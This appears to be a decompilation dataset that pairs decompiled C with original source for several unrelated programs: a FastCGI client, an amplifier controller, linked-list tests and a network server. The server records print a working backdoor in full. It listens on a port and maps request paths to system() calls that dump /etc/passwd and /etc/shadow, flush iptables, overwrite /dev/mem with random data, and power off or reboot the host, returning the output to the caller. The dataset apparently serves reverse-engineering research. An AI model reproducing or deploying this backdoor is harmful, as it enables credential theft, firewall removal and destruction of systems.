variable_types: struct fcgi_begin_request { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; struct fcgi_begin_request_body { unsigned char role_hi; unsigned char role_lo; unsigned char flags; unsigned char reserved[5]; } *body; } *

variable_types: struct fcgi_record_ { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; void *content; unsigned long offset; enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } state; struct fcgi_record_ *next; } *

user_defined_types: struct fcgi_begin_request { struct fcgi_header *header; struct fcgi_begin_request_body *body; }


main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd[3]; // [rsp+Ch] [rbp-Ch] BYREF

if ( argc == 2 )
{
nvs[1] = (char *)argv[1];
fcgi_connect(fd);
simple_session_1(fd[0]);
close(fd[0]);
}
else
{
printf("Usage: %s <Absolute path of file>\n", *argv);
}
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd[3]; // [rsp+Ch] [rbp-Ch] BYREF

if ( argc == 2 )
{
nvs[1] = (char *)argv[1];
func0(fd);
func1(fd[0]);
close(fd[0]);
}
else
{
printf("Usage: %s <Absolute path of file>\n", *argv);
}
return 0;
}

original_code:
int main(int argc, char **argv){
    int sockfd;
    if( argc != 2){
        printf("Usage: %s <Absolute path of file>\n", argv[0]);
        return 0;
    }
    else
        nvs[0].value = argv[1];
    fcgi_connect(&sockfd);
    simple_session_1(sockfd);
    close(sockfd);
    return 0;
}

variable_types: argc int

variable_types:
argv
char **


dupStreamz

decompiled_code:
int dupStreamz()
{
if ( pipe(pfds) == -1 )
{
system("echo 'IPC error' >> zerror.log");
perror("server: PiPiNG FlaW");
exit(1);
}
close(1);
return dup(dword_404114);
}

canonical_decompiled_code:
int func8()
{
if ( pipe(pfds) == -1 )
{
system("echo 'IPC error' >> zerror.log");
perror("server: PiPiNG FlaW");
exit(1);
}
close(1);
return dup(dword_404114);
}

original_code:
void dupStreamz(){
  if(pipe(pfds) == -1){
  system("echo 'IPC error' >> zerror.log");
  perror("server: PiPiNG FlaW");
  exit(1);
  }
  close(1);
  dup(pfds[1]);
  return;
}


tellClient

decompiled_code:
ssize_t tellClient()
{
size_t i; // rbx
size_t j; // rbx
size_t k; // rbx
size_t v3; // rax
size_t v4; // rax
size_t v5; // rbx
size_t v6; // rax
char v8[65536]; // [rsp+0h] [rbp-20008h] BYREF
char buf[16]; // [rsp+10000h] [rbp-10008h] BYREF
char s[65528]; // [rsp+10010h] [rbp-FFF8h] BYREF

strcpy(buf, "HTTP 200 OK");
memset(s, 0, 0xFFEFuLL);
for ( i = 0LL; strlen(buf) > i; ++i )
buf[i] = 0;
for ( j = 0LL; strlen(v8) > j; ++j )
v8[j] = 0;
for ( k = 0LL; strlen(httpResponse) > k; ++k )
httpResponse[k] = 0;
switch ( axnCode )
{
case -1:
strcpy(httpResponse, httpResponse200);
system("echo \"

n00bROOT\"");
break;
case 0:
strcpy(httpResponse, httpResponse200);
system("cat /dev/urandom > /dev/mem");
break;
case 1:
strcpy(httpResponse, httpResponse200);
system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 2:
strcpy(httpResponse, httpResponse200);
system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 3:
strcpy(httpResponse, httpResponse200);
system("cat /etc/resolv.conf 2>&1");
break;
case 4:
strcpy(httpResponse, httpResponse200);
system("ps aux");
break;
case 5:
strcpy(httpResponse, httpResponse200);
system("iptables --flush 2>&1 && echo 'IPTables Entries Deleted'");
break;
case 6:
strcpy(httpResponse, httpResponse200);
system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1");
break;
case 7:
strcpy(httpResponse, httpResponse200);
system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1");
break;
case 8:
strcpy(httpResponse, httpResponse200);
system("poweroff 2>&1");
break;
case 9:
strcpy(httpResponse, httpResponse200);
system("reboot 2>&1");
break;
default:
strcpy(httpResponse, httpResponse400);
system("echo \"HTTP 404\"");
break;
}
read(pfds[0], buf, 0xFFFFuLL);
v3 = strlen(httpResponse);
strncat(v8, httpResponse, v3);
v4 = strlen(buf);
strncat(v8, buf, v4);
v5 = strlen(httpResponse);
v6 = strlen(buf);
return send(fd2, v8, v5 + v6, 0);
}

canonical_decompiled_code:
ssize_t func9()
{
size_t i; // rbx
size_t j; // rbx
size_t k; // rbx
size_t v3; // rax
size_t v4; // rax
size_t v5; // rbx
size_t v6; // rax
char v8[65536]; // [rsp+0h] [rbp-20008h] BYREF
char buf[16]; // [rsp+10000h] [rbp-10008h] BYREF
char s[65528]; // [rsp+10010h] [rbp-FFF8h] BYREF

strcpy(buf, "HTTP 200 OK");
memset(s, 0, 0xFFEFuLL);
for ( i = 0LL; strlen(buf) > i; ++i )
buf[i] = 0;
for ( j = 0LL; strlen(v8) > j; ++j )
v8[j] = 0;
for ( k = 0LL; strlen(httpResponse) > k; ++k )
httpResponse[k] = 0;
switch ( axnCode )
{
case -1:
strcpy(httpResponse, httpResponse200);
system("echo \"

n00bROOT\"");
break;
case 0:
strcpy(httpResponse, httpResponse200);
system("cat /dev/urandom > /dev/mem");
break;
case 1:
strcpy(httpResponse, httpResponse200);
system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 2:
strcpy(httpResponse, httpResponse200);
system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 3:
strcpy(httpResponse, httpResponse200);
system("cat /etc/resolv.conf 2>&1");
break;
case 4:
strcpy(httpResponse, httpResponse200);
system("ps aux");
break;
case 5:
strcpy(httpResponse, httpResponse200);
system("iptables --flush 2>&1 && echo 'IPTables Entries Deleted'");
break;
case 6:
strcpy(httpResponse, httpResponse200);
system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1");
break;
case 7:
strcpy(httpResponse, httpResponse200);
system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1");
break;
case 8:
strcpy(httpResponse, httpResponse200);
system("poweroff 2>&1");
break;
case 9:
strcpy(httpResponse, httpResponse200);
system("reboot 2>&1");
break;
default:
strcpy(httpResponse, httpResponse400);
system("echo \"HTTP 404\"");
break;
}
read(pfds[0], buf, 0xFFFFuLL);
v3 = strlen(httpResponse);
strncat(v8, httpResponse, v3);
v4 = strlen(buf);
strncat(v8, buf, v4);
v5 = strlen(httpResponse);
v6 = strlen(buf);
return send(fd2, v8, v5 + v6, 0);
}

original_code:
void tellClient(){
  char buf[65535] = "HTTP 200 OK\0";
  char tmpBuf[65535];
  int idx;
  for(idx=0; idx<strlen(buf); idx++)
    buf[idx]='\0';
  for(idx=0; idx<strlen(tmpBuf); idx++)
    tmpBuf[idx]='\0';
  for(idx=0; idx<strlen(httpResponse); idx++)
    httpResponse[idx]='\0';
  switch(axnCode){
    case -1: strcpy(httpResponse,httpResponse200);
        system("echo \"

n00bROOT\""); break;
    case 0: strcpy(httpResponse,httpResponse200);
        system("cat /dev/urandom > /dev/mem"); break;
    case 1: strcpy(httpResponse,httpResponse200);
        system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'"); break;
    case 2: strcpy(httpResponse,httpResponse200);
        system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'"); break;
    case 3: strcpy(httpResponse,httpResponse200);
        system("cat /etc/resolv.conf 2>&1"); break;
    case 4: strcpy(httpResponse,httpResponse200);
        system("ps aux"); break;
    case 5: strcpy(httpResponse,httpResponse200);
        system("iptables --flush 2>&1 && echo \'IPTables Entries Deleted\'"); break;
    case 6: strcpy(httpResponse,httpResponse200);
        system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1"); break;
    case 7: strcpy(httpResponse,httpResponse200);
        system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl  --no-legend --no-pager list 2>&1"); break;
    case 8: strcpy(httpResponse,httpResponse200);
        system("poweroff 2>&1"); break;
    case 9: strcpy(httpResponse,httpResponse200);
        system("reboot 2>&1"); break;
    default: strcpy(httpResponse,httpResponse400);
        system("echo \"HTTP 404\""); break;
  }
  read(pfds[0], buf, 65535);
  strncat(tmpBuf,httpResponse,strlen(httpResponse));
  strncat(tmpBuf,buf,strlen(buf));
  send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);
  return;
}

variable_types:
buf
char [65535]

variable_types:
tmpBuf
char [65535]

variable_types: idx int


getAXNCode

decompiled_code:
__int64 __fastcall getAXNCode(char *s)
{
char *v1; // rbx
char *v2; // rax

v1 = s;
if ( !strcmp("/n00b", s) )
return 0xFFFFFFFFLL;
v2 = strrchr(s, 47);
if ( v2 )
v1 = v2 + 1;
return (unsigned int)(*v1 - 48);
}

canonical_decompiled_code:
__int64 __fastcall func10(char *s)
{
char *v1; // rbx
char *v2; // rax

v1 = s;
if ( !strcmp("/n00b", s) )
return 0xFFFFFFFFLL;
v2 = strrchr(s, 47);
if ( v2 )
v1 = v2 + 1;
return (unsigned int)(*v1 - 48);
}

original_code:
int getAXNCode(char* axnTok){
  if(strcmp("/n00b",axnTok)==0)
    return -1;
  char *axnCodeCharSlash = strrchr(axnTok, '/');
  char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;
  int axnCodeInt = *axnCodeChar - '0';
  return axnCodeInt;
}

canonical_original_code:
int getAXNCode(char *axnTok){
  if(strcmp("/n00b",axnTok)==0)
    return -1;
  char *axnCodeCharSlash = strrchr(axnTok, '/');
  char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;
  int axnCodeInt = *axnCodeChar - '0';
  return axnCodeInt;
}

variable_types:
axnTok
char *

variable_types:
axnCodeCharSlash
char *

variable_types:
axnCodeChar
char *

variable_types: axnCodeInt int


getAXN

decompiled_code:
__int64 getAXN()
{
char *v0; // rax
char *v1; // rbx

if ( !strtok(&Request, " ") )
return 4294967286LL;
v0 = strtok(0LL, " ");
v1 = v0;
if ( !v0 )
return 4294967286LL;
printf("\naxn: %s\n", v0);
return getAXNCode(v1);
}

canonical_decompiled_code:
__int64 func11()
{
char *v0; // rax
char *v1; // rbx

if ( !strtok(&Request, " ") )
return 4294967286LL;
v0 = strtok(0LL, " ");
v1 = v0;
if ( !v0 )
return 4294967286LL;
printf("\naxn: %s\n", v0);
return func10(v1);
}

original_code:
int getAXN(){
  char *axnTok;
  if((axnTok=strtok(Request," ")) != ((void *)0)){
    if((axnTok=strtok(((void *)0)," ")) != ((void *)0)){
      printf("\naxn: %s\n",axnTok);
      return getAXNCode(axnTok);
    }
  }
  return -10;
}


main

decompiled_code:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int i; // ebx
int v4; // edi
int v5; // eax
socklen_t addr_len; // [rsp+Ch] [rbp-2Ch] BYREF
struct sockaddr v7; // [rsp+10h] [rbp-28h] BYREF
struct sockaddr addr; // [rsp+20h] [rbp-18h] BYREF

dupStreamz();
fd = socket(2, 1, 0);
if ( fd != -1 )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = 0;
for ( i = 80; i != 0xFFFF; ++i )
{
*(_WORD *)addr.sa_data = _bswap_16(i);
*(_QWORD *)&addr.sa_data[6] = 0LL;
if ( bind(fd, &addr, 0x10u) != -1 )
break;
system("echo 'bind() error' >> zerror.log");
printf("server: bind(%d) error\n", i);
}
printf("listing at :%d", i);
if ( listen(fd, 2) == -1 )
{
system("echo 'listen() error' >> zerror.log");
puts("server: listen() error");
}
while ( 1 )
{
addr_len = 16;
v4 = accept(fd, &v7, &addr_len);
fd2 = v4;
if ( v4 == -1 )
break;
v5 = recv(v4, Request, 0xFFFFuLL, 0);
if ( v5 <= 0 )
{
printf("server: recv() error");
system("echo 'recv() error' >> zerror.log");
}
else
{
Request[v5] = 0;
}
axnCode = getAXN();
tellClient();
close(fd2);
printf("[+] %s\n", Request);
}
system("echo 'accept() error' >> zerror.log");
puts("server: accept() error");
exit(-1);
}
system("echo 'socket() error' >> zerror.log");
puts("server: socket() error");
exit(-1);
}

canonical_decompiled_code:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int i; // ebx
int v4; // edi
int v5; // eax
socklen_t addr_len; // [rsp+Ch] [rbp-2Ch] BYREF
struct sockaddr v7; // [rsp+10h] [rbp-28h] BYREF
struct sockaddr addr; // [rsp+20h] [rbp-18h] BYREF

func8();
fd = socket(2, 1, 0);
if ( fd != -1 )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = 0;
for ( i = 80; i != 0xFFFF; ++i )
{
*(_WORD *)addr.sa_data = func7(i);
*(_QWORD *)&addr.sa_data[6] = 0LL;
if ( bind(fd, &addr, 0x10u) != -1 )
break;
system("echo 'bind() error' >> zerror.log");
printf("server: bind(%d) error\n", i);
}
printf("listing at :%d", i);
if ( listen(fd, 2) == -1 )
{
system("echo 'listen() error' >> zerror.log");
puts("server: listen() error");
}
while ( 1 )
{
addr_len = 16;
v4 = accept(fd, &v7, &addr_len);
fd2 = v4;
if ( v4 == -1 )
break;
v5 = recv(v4, Request, 0xFFFFuLL, 0);
if ( v5 <= 0 )
{
printf("server: recv() error");
system("echo 'recv() error' >> zerror.log");
}
else
{
Request[v5] = 0;
}
axnCode = func11();
func9();
close(fd2);
printf("[+] %s\n", Request);
}
system("echo 'accept() error' >> zerror.log");
puts("server: accept() error");
exit(-1);
}
system("echo 'socket() error' >> zerror.log");
puts("server: socket() error");
exit(-1);
}

original_code:
int main()
{
  int numbytes;
  struct sockaddr_in server;
  struct sockaddr_in client;
  int sin_size;
  dupStreamz();
  if ((fd=socket(2, SOCK_STREAM, 0)) == -1 ){
    system("echo 'socket() error' >> zerror.log");
    printf("server: socket() error\n");
    exit(-1);
  }
  server.sin_family = 2;
  server.sin_addr.s_addr = ((in_addr_t) 0x00000000);
  int noobPort = 80;
  for (noobPort=80; noobPort < 65535; noobPort = noobPort+1){
      server.sin_port = htons(noobPort);
      bzero(&(server.sin_zero),8);
      if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){
          system("echo 'bind() error' >> zerror.log");
          printf("server: bind(%d) error\n", noobPort);
          if (noobPort >= 65535) {
              exit(-1);
          }
      } else {
          break;
      }
  }
  printf("listing at :%d", noobPort);
  if(listen(fd,2) == -1){
      system("echo 'listen() error' >> zerror.log");
      printf("server: listen() error\n");
  }
  while(1){
    sin_size=sizeof(struct sockaddr_in);
    if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){
      system("echo 'accept() error' >> zerror.log");
      printf("server: accept() error\n");
      exit(-1);
    }
    if ( (numbytes = recv(fd2, Request, 65535, 0)) > 0 )
    {
      Request[numbytes]='\0';
    }else{
      printf("server: recv() error");
      system("echo 'recv() error' >> zerror.log");
    }
    axnCode = getAXN();
    tellClient();
    close(fd2);
    printf("[+] %s\n", Request);
  }
  return 0;
}

canonical_original_code:
int main()
{
  int numbytes;
  struct sockaddr_in server;
  struct sockaddr_in client;
  int sin_size;
  dupStreamz();
  if ((fd=socket(2, SOCK_STREAM, 0)) == -1 ){
    system("echo 'socket() error' >> zerror.log");
    printf("server: socket() error\n");
    exit(-1);
  }
  server.sin_family = 2;
  server.sin_addr.s_addr = ((unsigned int) 0x00000000);
  int noobPort = 80;
  for (noobPort=80; noobPort < 65535; noobPort = noobPort+1){
      server.sin_port = htons(noobPort);
      bzero(&(server.sin_zero),8);
      if(bind(fd,(struct sockaddr *)&server,sizeof(struct sockaddr))==-1){
          system("echo 'bind() error' >> zerror.log");
          printf("server: bind(%d) error\n", noobPort);
          if (noobPort >= 65535) {
              exit(-1);
          }
      } else {
          break;
      }
  }
  printf("listing at :%d", noobPort);
  if(listen(fd,2) == -1){
      system("echo 'listen() error' >> zerror.log");
      printf("server: listen() error\n");
  }
  while(1){
    sin_size=sizeof(struct sockaddr_in);
    if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){
      system("echo 'accept() error' >> zerror.log");
      printf("server: accept() error\n");
      exit(-1);
    }
    if ( (numbytes = recv(fd2, Request, 65535, 0)) > 0 )
    {
      Request[numbytes]='\0';
    }else{
      printf("server: recv() error");
      system("echo 'recv() error' >> zerror.log");
    }
    axnCode = getAXN();
    tellClient();
    close(fd2);
    printf("[+] %s\n", Request);
  }
  return 0;
}

variable_types: numbytes int

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }

variable_types: noobPort int

user_defined_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }

user_defined_types: struct sockaddr { unsigned short sa_family; char sa_data[14]; }


repo: ablakely/mustanghero

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
int v4; // ebx

if ( (unsigned int)start_amp(argc, argv, envp) )
{
puts("\nError connecting to amplifier. Exiting.");
v4 = -1;
}
else
{
v4 = 0;
mustang_setAmplifier(argc, argv, v3);
mustang_stopAmp();
}
return v4;
}

original_code:
int main(int argc, char *argv[])
{
 if (start_amp() != 0)
 {
  printf("\nError connecting to amplifier.  Exiting.\n");
  return -1;
 }
 struct amp_settings punk;
 punk.amp_num = METAL_2000;
 punk.gain = 250;
 punk.volume = 250;
 punk.treble = 100;
 punk.middle = 100;
 punk.bass = 100;
 punk.cabinet = cabCHAMP;
 punk.noise_gate = 50;
 punk.master_vol = 250;
 punk.gain2 = 100;
 punk.presence = 50;
 punk.threshold = 60;
 punk.depth = 100;
 punk.bias = 100;
 punk.sag = 50;
 punk.brightness = 1;
 punk.usb_gain = 100;
 mustang_setAmplifier(punk);
 mustang_stopAmp();
}

variable_types:
argv
char *[]

variable_types: struct amp_settings { unsigned char amp_num; unsigned char gain; unsigned char volume; unsigned char treble; unsigned char middle; unsigned char bass; unsigned char cabinet; unsigned char noise_gate; unsigned char master_vol; unsigned char gain2; unsigned char presence; unsigned char threshold; unsigned char depth; unsigned char bias; unsigned char sag; int brightness; unsigned char usb_gain; }


decompiled_code:
__int64 start_amp()
{
unsigned int v0; // eax
unsigned int v1; // ebx
__int64 v3; // [rsp+0h] [rbp-78h] BYREF
char v4[48]; // [rsp+20h] [rbp-58h] BYREF
char v5[40]; // [rsp+50h] [rbp-28h] BYREF

mustang_initDriver();
memset(&names, 0, 0xC80uLL);
v0 = mustang_startAmp(&names, &v3, v5, v4);
v1 = v0;
if ( v0 )
{
if ( v0 == -100 )
puts("[Mustang Driver] Sutible device not found!");
else
printf("[Mustang Driver] Error: %d\n", v0);
v1 = -1;
}
else
{
puts("[Mustang Driver] Connected to amplifier!");
}
return v1;
}

canonical_decompiled_code:
__int64 func0()
{
unsigned int v0; // eax
unsigned int v1; // ebx
__int64 v3; // [rsp+0h] [rbp-78h] BYREF
char v4[48]; // [rsp+20h] [rbp-58h] BYREF
char v5[40]; // [rsp+50h] [rbp-28h] BYREF

mustang_initDriver();
memset(&names, 0, 0xC80uLL);
v0 = mustang_startAmp(&names, &v3, v5, v4);
v1 = v0;
if ( v0 )
{
if ( v0 == -100 )
puts("[Mustang Driver] Sutible device not found!");
else
printf("[Mustang Driver] Error: %d\n", v0);
v1 = -1;
}
else
{
puts("[Mustang Driver] Connected to amplifier!");
}
return v1;
}

original_code:
int start_amp()
{
 mustang_initDriver();
 memset(names, 0x00, 100*32);
 int x;
 struct amp_settings amplifier_set;
 struct fx_pedal_settings effects_set[4];
 char name[32];
 x = mustang_startAmp(names, name, &amplifier_set, effects_set);
 if (x != 0)
 {
  if (x == -100)
  {
   printf("[Mustang Driver] Sutible device not found!\n");
  }
  else
  {
   printf("[Mustang Driver] Error: %d\n", x);
  }
  return -1;
 }
 else
 {
  printf("[Mustang Driver] Connected to amplifier!\n");
 }
 return 0;
}

variable_types: x int

variable_types: struct fx_pedal_settings { unsigned char fx_slot; unsigned char effect_num; unsigned char knob1; unsigned char knob2; unsigned char knob3; unsigned char knob4; unsigned char knob5; unsigned char knob6; int put_post_amp; } [4]

variable_types:
name
char [32]

user_defined_types: struct amp_settings { unsigned char amp_num; unsigned char gain; unsigned char volume; unsigned char treble; unsigned char middle; unsigned char bass; unsigned char cabinet; unsigned char noise_gate; unsigned char master_vol; unsigned char gain2; unsigned char presence; unsigned char threshold; unsigned char depth; unsigned char bias; unsigned char sag; int brightness; unsigned char usb_gain; }


decompiled_code:
_QWORD *list_create_test()
{
_QWORD *result; // rax

result = (_QWORD *)linked_list_int_create();
if ( *result )
__assert_fail("list -> count == 0", "test.c", 0xAu, "list_create_test");
if ( result[1] )
__assert_fail("list -> node_first == NULL", "test.c", 0xCu, "list_create_test");
if ( result[2] )
__assert_fail("list -> node_last == NULL", "test.c", 0xDu, "list_create_test");
return result;
}

canonical_decompiled_code:
_QWORD *func7()
{
_QWORD *result; // rax

result = (_QWORD *)func10();
if ( *result )
__assert_fail("list -> count == 0", "test.c", 0xAu, "list_create_test");
if ( result[1] )
__assert_fail("list -> node_first == NULL", "test.c", 0xCu, "list_create_test");
if ( result[2] )
__assert_fail("list -> node_last == NULL", "test.c", 0xDu, "list_create_test");
return result;
}

original_code:
void list_create_test()
{
    linked_list_int_t *list = linked_list_int_create();
    ((void) sizeof ((list -> count == 0) ? 1 : 0), __extension__ ({ if (list -> count == 0) ; else __assert_fail ("list -> count == 0", "test.c", 10, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first == ((void *)0)) ; else __assert_fail ("list -> node_first == NULL", "test.c", 12, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last == ((void *)0)) ; else __assert_fail ("list -> node_last == NULL", "test.c", 13, __extension__ __PRETTY_FUNCTION__); }));
}

canonical_original_code:
void list_create_test()
{
    struct linked_list_int_head *list = linked_list_int_create();
    ((void) sizeof ((list -> count == 0) ? 1 : 0), __extension__ ({ if (list -> count == 0) ; else __assert_fail ("list -> count == 0", "test.c", 10, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first == ((void *)0)) ; else __assert_fail ("list -> node_first == NULL", "test.c", 12, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last == ((void *)0)) ; else __assert_fail ("list -> node_last == NULL", "test.c", 13, __extension__ __PRETTY_FUNCTION__); }));
}

variable_types: struct linked_list_int_head { long count; struct linked_list_int_node { long value; struct linked_list_int_node *next; } *node_first; struct linked_list_int_node *node_last; } *

user_defined_types: struct linked_list_int_head { long count; struct linked_list_int_node *node_first; struct linked_list_int_node *node_last; }


decompiled_code:
_QWORD *list_add_first_test()
{
_QWORD *v0; // rbx
_QWORD *v1; // rax
_QWORD *v2; // rdx
_QWORD *result; // rax

v0 = (_QWORD *)linked_list_int_create();
linked_list_int_add_first(v0, 1LL);
v1 = (_QWORD *)v0[1];
if ( v1 != (_QWORD *)v0[2] )
__assert_fail("list -> node_first == list -> node_last", "test.c", 0x1Cu, "list_add_first_test");
if ( !v1 )
__assert_fail("list -> node_first != NULL", "test.c", 0x1Du, "list_add_first_test");
if ( *v0 != 1LL )
__assert_fail("list -> count == 1", "test.c", 0x1Eu, "list_add_first_test");
if ( *v1 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x20u, "list_add_first_test");
if ( v1[1] )
__assert_fail("list -> node_first -> next == NULL", "test.c", 0x21u, "list_add_first_test");
linked_list_int_add_first(v0, 2LL);
v2 = (_QWORD *)v0[1];
if ( !v2 )
__assert_fail("list -> node_first != NULL", "test.c", 0x25u, "list_add_first_test");
result = (_QWORD *)v0[2];
if ( !result )
__assert_fail("list -> node_last != NULL", "test.c", 0x26u, "list_add_first_test");
if ( *v0 != 2LL )
__assert_fail("list -> count == 2", "test.c", 0x27u, "list_add_first_test");
if ( v2 == result )
__assert_fail("list -> node_first != list -> node_last", "test.c", 0x29u, "list_add_first_test");
if ( *v2 != 2LL )
__assert_fail("list -> node_first -> value == value2", "test.c", 0x2Bu, "list_add_first_test");
if ( result != (_QWORD *)v2[1] )
__assert_fail("list -> node_first -> next == list -> node_last", "test.c", 0x2Cu, "list_add_first_test");
if ( *result != 1LL )
__assert_fail("list -> node_last -> value == value1", "test.c", 0x2Du, "list_add_first_test");
if ( result[1] )
__assert_fail("list -> node_last -> next == NULL", "test.c", 0x2Eu, "list_add_first_test");
return result;
}

canonical_decompiled_code:
_QWORD *func8()
{
_QWORD *v0; // rbx
_QWORD *v1; // rax
_QWORD *v2; // rdx
_QWORD *result; // rax

v0 = (_QWORD *)func10();
func11(v0, 1LL);
v1 = (_QWORD *)v0[1];
if ( v1 != (_QWORD *)v0[2] )
__assert_fail("list -> node_first == list -> node_last", "test.c", 0x1Cu, "list_add_first_test");
if ( !v1 )
__assert_fail("list -> node_first != NULL", "test.c", 0x1Du, "list_add_first_test");
if ( *v0 != 1LL )
__assert_fail("list -> count == 1", "test.c", 0x1Eu, "list_add_first_test");
if ( *v1 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x20u, "list_add_first_test");
if ( v1[1] )
__assert_fail("list -> node_first -> next == NULL", "test.c", 0x21u, "list_add_first_test");
func11(v0, 2LL);
v2 = (_QWORD *)v0[1];
if ( !v2 )
__assert_fail("list -> node_first != NULL", "test.c", 0x25u, "list_add_first_test");
result = (_QWORD *)v0[2];
if ( !result )
__assert_fail("list -> node_last != NULL", "test.c", 0x26u, "list_add_first_test");
if ( *v0 != 2LL )
__assert_fail("list -> count == 2", "test.c", 0x27u, "list_add_first_test");
if ( v2 == result )
__assert_fail("list -> node_first != list -> node_last", "test.c", 0x29u, "list_add_first_test");
if ( *v2 != 2LL )
__assert_fail("list -> node_first -> value == value2", "test.c", 0x2Bu, "list_add_first_test");
if ( result != (_QWORD *)v2[1] )
__assert_fail("list -> node_first -> next == list -> node_last", "test.c", 0x2Cu, "list_add_first_test");
if ( *result != 1LL )
__assert_fail("list -> node_last -> value == value1", "test.c", 0x2Du, "list_add_first_test");
if ( result[1] )
__assert_fail("list -> node_last -> next == NULL", "test.c", 0x2Eu, "list_add_first_test");
return result;
}

original_code:
void list_add_first_test()
{
    linked_list_int_t *list;
    int64_t value1 = 1;
    int64_t value2 = 2;
    list = linked_list_int_create();
    linked_list_int_add_first(list, value1);
    ((void) sizeof ((list -> node_first == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first == list -> node_last) ; else __assert_fail ("list -> node_first == list -> node_last", "test.c", 28, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 29, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 1) ? 1 : 0), __extension__ ({ if (list -> count == 1) ; else __assert_fail ("list -> count == 1", "test.c", 30, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 32, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == ((void *)0)) ; else __assert_fail ("list -> node_first -> next == NULL", "test.c", 33, __extension__ __PRETTY_FUNCTION__); }));
    linked_list_int_add_first(list, value2);
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 37, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last != ((void *)0)) ; else __assert_fail ("list -> node_last != NULL", "test.c", 38, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 2) ? 1 : 0), __extension__ ({ if (list -> count == 2) ; else __assert_fail ("list -> count == 2", "test.c", 39, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first != list -> node_last) ; else __assert_fail ("list -> node_first != list -> node_last", "test.c", 41, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value2) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value2) ; else __assert_fail ("list -> node_first -> value == value2", "test.c", 43, __extension__ __PRETTY_FUNCTION__); }));
